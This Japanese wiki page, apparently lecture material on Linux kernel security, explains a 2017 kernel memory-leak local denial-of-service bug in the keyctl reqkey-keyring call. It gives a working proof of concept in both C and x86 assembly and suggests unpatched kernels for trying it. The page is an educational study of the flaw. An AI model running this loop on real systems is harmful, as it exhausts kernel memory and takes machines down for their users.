Skip to content
hal0taso edited this page Aug 7, 2017 · 1 revision

さて、第2章の事前課題7をクリアしたとのことで、今年のエイプリルフールに
http://kernsec.org/pipermail/linux-security-module-archive/2017-April/000331.html
報告された Memory Leak Local DoS 不具合について紹介します。

C言語で書くと以下のようになります。

#include <sys/types.h>
#include <keyutils.h> /* Needs "-lkeyutils" option. */

int main(int argc, char *argv[])
{
        while (1)
                keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
        return 0;
}

アセンブラで書くと以下のようになります。

; nasm -f elf key.asm && ld -s -m elf_i386 -o key key.o
section .text
    CPU 386
    global _start
_start:
; while (1) keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING);
    mov eax, 288 ; NR_keyctl
    mov ebx, 14  ; KEYCTL_SET_REQKEY_KEYRING
    mov ecx, 1   ; KEY_REQKEY_DEFL_THREAD_KEYRING
    int 0x80
    jmp _start

嘘みたいに簡単なプログラムです。こんなに小さなコードなら、シェルコードを
実行できるようなバッファオーバーフローがあれば、この Memory Leak Local DoS
コードも実行できてしまいそうですよね。

この不具合は Copy On Write Credentials が導入された Linux 2.6.29
(2009年3月)から存在していたものであり、8年間の間、誰にも
気づかれませんでした。この不具合により何が起こるかを実験したい方は、
例えば ubuntu-17.04-desktop-amd64.iso のように2017年4月初めまでに
コンパイルされたカーネルで起動していただければと思います。

権限昇格の脆弱性は「自分が管理しているシステムも狙われるかもしれない」という
感じで騒ぎになりますが、 Local DoS の脆弱性は「誰が攻撃するの?」という感じで
全く注目されません。熊猫はメモリ管理サブシステムにおける Local DoS に繋がる
不具合を人力ファジングにより地道にテストしながら修正を提案している訳ですが、
現実に起こる問題だとは考えられておらず、なかなか修正が採用されないでいます。(苦笑)

この講義に関して言えば、「カーネル内でのメモリリークは致命傷に繋がる可能性が
あるので、メモリの割り当て/解放処理が正しく行われているかどうか注意しましょう」
ということでしょう。

Clone this wiki locally